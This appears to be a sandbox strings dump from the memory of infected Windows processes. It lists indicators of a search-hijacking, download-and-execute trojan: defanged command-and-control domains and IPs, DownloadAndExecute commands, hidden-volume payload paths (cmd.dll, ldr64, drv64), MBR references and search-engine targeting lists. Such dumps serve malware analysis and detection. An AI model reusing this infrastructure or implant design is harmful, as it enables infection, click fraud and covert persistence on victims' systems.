Explorer.EXE_532_rwx_023D0000_00010000:
U8VSSh
U8VSSh
svchost.exe_1084_rwx_01050000_00012000:
t.FE;l$
t.FE;l$
winmm.dll
winmm.dll
ole32.dll
ole32.dll
maxhttpredirects
maxhttpredirects
software\microsoft\windows\currentversion\internet settings
software\microsoft\windows\currentversion\internet settings
enablehttp1_1
enablehttp1_1
software\microsoft\windows\currentversion\internet settings\zones\3
software\microsoft\windows\currentversion\internet settings\zones\3
%s\%s
%s\%s
hXXp://%s/?xurl=%s&xref=%s
hXXp://%s/?xurl=%s&xref=%s
clk=%s&bid=%s&aid=%s&sid=%s&rd=%s
clk=%s&bid=%s&aid=%s&sid=%s&rd=%s
atl.dll
atl.dll
oleaut32.dll
oleaut32.dll
n%D,3
n%D,3
Global\3006345f-6baf-4669-a7e1-aaa310564be9
Global\3006345f-6baf-4669-a7e1-aaa310564be9
kdmf.tmp
kdmf.tmp
%d|%d|%s|%s
%d|%d|%s|%s
Mozilla/4.0 (compatible; MSIE 1.0; Windows NT; CMD3)
Mozilla/4.0 (compatible; MSIE 1.0; Windows NT; CMD3)
DownloadAndExecute
DownloadAndExecute
DownloadCryptedAndExecute
DownloadCryptedAndExecute
DownloadCryptedAndExecute2
DownloadCryptedAndExecute2
%[^.].%[^(](%[^)])
%[^.].%[^(](%[^)])
command|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s
command|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s
setup.exe
setup.exe
google;yahoo;bing.;live.com;msn.com;altavista.com;ask.com;exalead.com;excite.com;dogpile.com;metacrawler.com;webcrawler.com;alltheweb.com;.lycos.;gigablast.com;cuil.com;.aol.;entireweb.com;.search.com;mamma.com;mytalkingbuddy.com;about.com;myspace.com;answers.com;conduit.com;alexa.com;alltheinternet.com;blinkx.com;macromedia.com;adobe.com;amazon.com;facebook.com;youtube.com;wikipedia.org;wikimedia.org;twitter.com;aolcdn.com;othersonline.com;everesttech.net;adrevolver.com;tribalfusion.com;adbureau.net;abmr.net;gstatic.com;virtualearth.net;atdmt.com;ivwbox.;powerset.net;yimg.com;2mdn.net;doubleclick.net;iwon.com;scorecardresearch.com;66.235.120.66;66.235.120.67;ytimg.com;infospace.com;edgesuite.net;superpages.com;lygo.com;compete.com;firmserve.com;worthathousandwords.com;yieldmanager.com;wazizu.com;meedea.com;atwola.com;doubleverify.com;tacoda.net;truveo.com;openx.org;adcertising.com;twimg.com;picsearch.com;oneriot.com;.com.com;flickr.com;searchvideo.com;.tqn.com;myspacecdn.com;fimservecdn.com;alexametrics.com
google;yahoo;bing.;live.com;msn.com;altavista.com;ask.com;exalead.com;excite.com;dogpile.com;metacrawler.com;webcrawler.com;alltheweb.com;.lycos.;gigablast.com;cuil.com;.aol.;entireweb.com;.search.com;mamma.com;mytalkingbuddy.com;about.com;myspace.com;answers.com;conduit.com;alexa.com;alltheinternet.com;blinkx.com;macromedia.com;adobe.com;amazon.com;facebook.com;youtube.com;wikipedia.org;wikimedia.org;twitter.com;aolcdn.com;othersonline.com;everesttech.net;adrevolver.com;tribalfusion.com;adbureau.net;abmr.net;gstatic.com;virtualearth.net;atdmt.com;ivwbox.;powerset.net;yimg.com;2mdn.net;doubleclick.net;iwon.com;scorecardresearch.com;66.235.120.66;66.235.120.67;ytimg.com;infospace.com;edgesuite.net;superpages.com;lygo.com;compete.com;firmserve.com;worthathousandwords.com;yieldmanager.com;wazizu.com;meedea.com;atwola.com;doubleverify.com;tacoda.net;truveo.com;openx.org;adcertising.com;twimg.com;picsearch.com;oneriot.com;.com.com;flickr.com;searchvideo.com;.tqn.com;myspacecdn.com;fimservecdn.com;alexametrics.com
HTTP/1.1 302 Found
HTTP/1.1 302 Found
Location: %s
Location: %s
HTTP/1.1 200 OK
HTTP/1.1 200 OK
Content-Length: %d
Content-Length: %d
hXXps://68b6b6b6.com/;hXXps://61.61.20.132/;hXXps://34jh7alm94.asia/;hXXps://61.61.20.135/;hXXps://nyewrika.in/;hXXps://rukkieanno.in/
hXXps://68b6b6b6.com/;hXXps://61.61.20.132/;hXXps://34jh7alm94.asia/;hXXps://61.61.20.135/;hXXps://nyewrika.in/;hXXps://rukkieanno.in/
hXXp://rudolfdisney.com/;hXXp://crozybanner.com/;hXXp://imagemonstar.com/;hXXp://funimgpixson.com/;hXXp://bunnylandisney.com/
hXXp://rudolfdisney.com/;hXXp://crozybanner.com/;hXXp://imagemonstar.com/;hXXp://funimgpixson.com/;hXXp://bunnylandisney.com/
hXXp://cri71ki813ck.com/
hXXp://cri71ki813ck.com/
hXXp://lkckclckl1i1i.com/
hXXp://lkckclckl1i1i.com/
cfg.ini
cfg.ini
urlmon.dll
urlmon.dll
bckfg.tmp
bckfg.tmp
svchost.exe
svchost.exe
Global\9e6af8f3-75f3-4b67-877a-c80125d7bc08
Global\9e6af8f3-75f3-4b67-877a-c80125d7bc08
*firefox*
*firefox*
*chrome*
*chrome*
*opera*
*opera*
Global\a68d7de8-eba6-4a54-90e0-9cb9d93b3ed7
Global\a68d7de8-eba6-4a54-90e0-9cb9d93b3ed7
Global\cc51461b-e32a-4883-8e97-e0706dc65415
Global\cc51461b-e32a-4883-8e97-e0706dc65415
keywords
keywords
Accept-Language: %s
Accept-Language: %s
%s hXXp://%s/?xurl=%s&xref=%s
%s hXXp://%s/?xurl=%s&xref=%s
%s %s
%s %s
1.6|%s|%s|%s|%s|%s|%s
1.6|%s|%s|%s|%s|%s|%s
0123456789
0123456789
software\classes\http\shell\open\command
software\classes\http\shell\open\command
firefox
firefox
:"/\|?*
:"/\|?*
%s-%s
%s-%s
. d SP.%s
. d SP.%s
%s.dll
%s.dll
kernel32.dll
kernel32.dll
.text
.text
.rdata
.rdata
Global\452fefe0-a06e-400f-8d6b-6a12a0a09d4b
Global\452fefe0-a06e-400f-8d6b-6a12a0a09d4b
VVV.google.
VVV.google.
/webhp
/webhp
search.yahoo.com
search.yahoo.com
.altavista.com
.altavista.com
/web/results
/web/results
.ask.com
.ask.com
VVV.exalead.com
VVV.exalead.com
/search/web/results
/search/web/results
VVV.alltheweb.com
VVV.alltheweb.com
search.lycos.
search.lycos.
tab=web
tab=web
gigablast.com
gigablast.com
cuil.com
cuil.com
.aol.
.aol.
entireweb.com
entireweb.com
md=web
md=web
VVV.search.com
VVV.search.com
VVV.mamma.com
VVV.mamma.com
mytalkingbuddy.com
mytalkingbuddy.com
searchservice.myspace.com
searchservice.myspace.com
type=web
type=web
search.conduit.com
search.conduit.com
search.toolbars.alexa.com
search.toolbars.alexa.com
alltheinternet.com
alltheinternet.com
/ws/results/web/
/ws/results/web/
%u|%u
%u|%u
ver=%s&bid=%s&aid=%s&sid=%s&rd=%s&eng=%s&q=%s
ver=%s&bid=%s&aid=%s&sid=%s&rd=%s&eng=%s&q=%s
hXXp://%s%s
hXXp://%s%s
?xurl=
?xurl=
http/1.
http/1.
mozilla
mozilla
windowsupdate
windowsupdate
\\?\globalroot\device\00000742\186bb45c\kdmf.tmp
\\?\globalroot\device\00000742\186bb45c\kdmf.tmp
%WinDir%\System32\svchost.exe
%WinDir%\System32\svchost.exe
854245398
854245398
\\?\globalroot\device\00000742\186bb45c
\\?\globalroot\device\00000742\186bb45c
cmd.dll
cmd.dll
\\?\globalroot\device\00000742\186bb45c\keywords
\\?\globalroot\device\00000742\186bb45c\keywords
\\?\globalroot\device\00000742\186bb45c\cfg.ini
\\?\globalroot\device\00000742\186bb45c\cfg.ini
WinExec
WinExec
SHEnumKeyExA
SHEnumKeyExA
FindFirstUrlCacheEntryW
FindFirstUrlCacheEntryW
UnlockUrlCacheEntryFileW
UnlockUrlCacheEntryFileW
DeleteUrlCacheEntryW
DeleteUrlCacheEntryW
FindNextUrlCacheEntryW
FindNextUrlCacheEntryW
InternetCrackUrlA
InternetCrackUrlA
HttpOpenRequestA
HttpOpenRequestA
HttpSendRequestA
HttpSendRequestA
HttpQueryInfoW
HttpQueryInfoW
FindCloseUrlCache
FindCloseUrlCache
`.rdata
`.rdata
@.data
@.data
.reloc
.reloc
KERNEL32.DLL
KERNEL32.DLL
ADVAPI32.dll
ADVAPI32.dll
imagehlp.dll
imagehlp.dll
ntdll.dll
ntdll.dll
SHLWAPI.dll
SHLWAPI.dll
USER32.dll
USER32.dll
WININET.dll
WININET.dll
WebBrowser
WebBrowser
%s-%d
%s-%d
eplorer\iexplore.exe" -nohome
eplorer\iexplore.exe" -nohome
spoolsv.exe_1424_rwx_01320000_00100000:
.tesx
.tesx
`.rdat
`.rdat
.config
.config
Ng.
Ng.
.Lu;;:
.Lu;;:
DP%xU
DP%xU
.cV#~E
.cV#~E
O.BY#
O.BY#
/xi.FQ
/xi.FQ
.Bg)(am>
.Bg)(am>
9=!%F
9=!%F
.text
.text
`.rdata
`.rdata
@.data
@.data
.reloc
.reloc
N. d SP.
N. d SP.
%x%x%x%x%x%x
%x%x%x%x%x%x
%s|%s|%s|%x|%x|%s|prn3
%s|%s|%s|%x|%x|%s|prn3
%[^;];%[^;];%[^;];
%[^;];%[^;];%[^;];
ntdll.dll
ntdll.dll
system\currentcontrolset\services\%x
system\currentcontrolset\services\%x
\\?\globalroot%wZ\cmd.dll
\\?\globalroot%wZ\cmd.dll
\\?\globalroot%wZ\cfg.ini
\\?\globalroot%wZ\cfg.ini
\\?\globalroot%wZ\bckfg.tmp
\\?\globalroot%wZ\bckfg.tmp
cmd.dll
cmd.dll
%[^|]|%[^|]|%s
%[^|]|%[^|]|%s
\\?\globalroot%wZ\ldr16
\\?\globalroot%wZ\ldr16
\\?\globalroot%wZ\ldr32
\\?\globalroot%wZ\ldr32
\\?\globalroot%wZ\ldr64
\\?\globalroot%wZ\ldr64
\\?\globalroot%wZ\drv64
\\?\globalroot%wZ\drv64
\\?\globalroot%wZ\cmd64.dll
\\?\globalroot%wZ\cmd64.dll
cmd64.dll
cmd64.dll
\\?\globalroot%wZ\drv32
\\?\globalroot%wZ\drv32
aid=%s
aid=%s
sid=%s
sid=%s
*=cmd.dll
*=cmd.dll
* (x64)=cmd64.dll
* (x64)=cmd64.dll
[cmd]
[cmd]
srv=%s
srv=%s
wsrv=%s
wsrv=%s
psrv=%s
psrv=%s
cfg.ini
cfg.ini
bckfg.tmp
bckfg.tmp
ZwConnectPort
ZwConnectPort
GetWindowsDirectoryW
GetWindowsDirectoryW
KERNEL32.dll
KERNEL32.dll
RegCreateKeyA
RegCreateKeyA
RegCloseKey
RegCloseKey
ADVAPI32.dll
ADVAPI32.dll
SHDeleteKeyA
SHDeleteKeyA
SHLWAPI.dll
SHLWAPI.dll
imagehlp.dll
imagehlp.dll
PSAPI.DLL
PSAPI.DLL
RPCRT4.dll
RPCRT4.dll
InternetCrackUrlA
InternetCrackUrlA
HttpOpenRequestA
HttpOpenRequestA
HttpSendRequestA
HttpSendRequestA
WININET.dll
WININET.dll
ShellExecuteW
ShellExecuteW
SHELL32.dll
SHELL32.dll
ole32.dll
ole32.dll
WINSPOOL.DRV
WINSPOOL.DRV
Error loading operating system
Error loading operating system
Missing operating system
Missing operating system
`.reloc
`.reloc
kdcom.dll
kdcom.dll
ntoskrnl.exe
ntoskrnl.exe
`.pdata
`.pdata
.pdata
.pdata
@.reloc
@.reloc
tùXXt
tùXXt
\\?\globalroot%S
\\?\globalroot%S
%s (x64)
%s (x64)
KeDelayExecutionThread
KeDelayExecutionThread
ZwOpenKey
ZwOpenKey
ZwQueryValueKey
ZwQueryValueKey
ZwSetValueKey
ZwSetValueKey
!Win64 .DLL.
!Win64 .DLL.
.MPRESS1
.MPRESS1
.MPRESS2*
.MPRESS2*
%X%XLA
%X%XLA
AndExecu
AndExecu
https:/
https:/
alm94.as(ia
alm94.as(ia
wrika.in
wrika.in
pG&$.KG
pG&$.KG
DB.fD
DB.fD
\{x-x-x-x-xx}
\{x-x-x-x-xx}
\registry\machine\%S
\registry\machine\%S
\??\physicaldrive%d
\??\physicaldrive%d
services.exe
services.exe
\??\globalroot\systemroot\system32\tasks\%x
\??\globalroot\systemroot\system32\tasks\%x
\\?\globalroot%s
\\?\globalroot%s
%s.manifest
%s.manifest
%s\setup%u.exe
%s\setup%u.exe
%s\%S
%s\%S
*\KERNEL32.DLL
*\KERNEL32.DLL
\device\%s
\device\%s
%s\cfg.ini
%s\cfg.ini
%s\mbr
%s\mbr